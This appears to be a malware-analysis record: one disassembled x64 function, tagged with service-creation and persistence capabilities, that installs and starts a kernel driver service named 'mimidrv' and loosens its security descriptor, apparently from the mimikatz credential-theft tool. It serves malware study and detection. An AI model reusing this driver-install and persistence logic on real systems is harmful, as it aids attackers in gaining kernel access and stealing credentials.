Function at 0x140006db0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push r14
lea rbp, [rsp - 0x2f]
sub rsp, 0xd8
mov rsi, r8
lea rdx, str.ServicesActive
xor ebx, ebx
xor ecx, ecx
lea r8d, [rbx + 3]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r14, rax
test rax, rax
je 0x140006ff4
lea r8d, [rbx + 0x10]
mov qword [rsp + 0xd0], rdi
lea rdx, str.mimidrv
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x140006fc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x140006fe3
mov qword [rsp + 0x60], rbx
lea r8, str.mimi_driver__mimidrv_
mov qword [rsp + 0x58], rbx
lea rdx, str.mimidrv
mov qword [rsp + 0x50], rbx
mov r9d, 0x60010
mov qword [rsp + 0x48], rbx
mov rcx, r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
je 0x140006fe3
lea rax, [rbp + 0x6f]
mov dword [rbp + 0x5f], ebx
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x39]
mov word [rbp + 0x63], 0x100
lea edx, [rbx + 4]
mov dword [rbp - 0x11], 0x201fd
mov rcx, rdi
mov qword [rbp - 0xd], 2
mov qword [rbp - 1], rbx
mov qword [rbp + 7], rbx
mov dword [rbp + 0xf], 5
mov qword [rbp + 0x17], rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceObjectSecurity]
test eax, eax
jne 0x140006fc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140006fc0
mov edx, dword [rbp + 0x6f]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140006fc0
mov r9d, dword [rbp + 0x6f]
lea rax, [rbp + 0x6f]
mov r8, rsi
mov qword [rsp + 0x20], rax
lea edx, [rbx + 4]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceObjectSecurity]
test eax, eax
je 0x140006fb7
lea rax, [rbp + 0x17]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x5f]
mov dword [rsp + 0x48], ebx
xor r8d, r8d
mov dword [rsp + 0x40], ebx
mov dl, 1
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140006fb7
lea rax, [rbp + 0x57]
xor edx, edx
mov qword [rsp + 0x40], rax
lea r9, [rbp - 0x11]
lea rax, [rbp + 0x6f]
xor ecx, ecx
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 1]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_BuildSecurityDescriptorW]
test eax, eax
jne 0x140006fad
mov r8, qword [rbp + 0x57]
lea edx, [rbx + 4]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_SetServiceObjectSecurity]
mov rcx, qword [rbp + 0x57]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov ebx, eax
test eax, eax
jne 0x140006fda
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0xd0]
mov eax, ebx
add rsp, 0xd8
pop r14
pop rsi
pop rbx
pop rbp
ret